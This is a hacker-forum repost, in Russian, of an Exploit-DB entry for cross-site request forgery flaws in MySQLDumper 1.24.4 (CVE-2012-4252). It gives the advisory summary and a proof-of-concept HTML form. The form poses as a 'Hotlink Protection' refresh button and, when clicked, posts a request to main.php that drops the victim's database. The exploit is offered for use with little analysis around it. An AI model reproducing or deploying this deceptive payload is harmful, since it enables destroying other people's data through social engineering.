Exploit MySQLDumper 1.24.4 - 'main.php' Multiple Cross-Site Request Forgery Vulnerabilities

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
37131
Проверка EDB
  1. Пройдено
Автор
AKASTEP
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2012-4252
Дата публикации
2012-04-27
MySQLDumper 1.24.4 - 'main.php' Multiple Cross-Site Request Forgery Vulnerabilities
Код:
source: https://www.securityfocus.com/bid/53306/info
      
MySQLDumper is prone to multiple security vulnerabilities, including:
      
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
      
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
      
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

<img src="http://www.example.com/tld/meonyourpc.PNG" heigth="250" width="300" />
<form name="hackit" id="hackit" action="http://www.example.com/learn/cubemail/main.php?action=db&dbid=1" method="post">
<p><blink>Hotlink Protection is Active! Please click refresh button.</blink></p>
<input name="kill1" value="Refresh" onclick="alert('Congrats!) Your Database Dropped!')" type="submit">
</form>
 
Источник
www.exploit-db.com

Похожие темы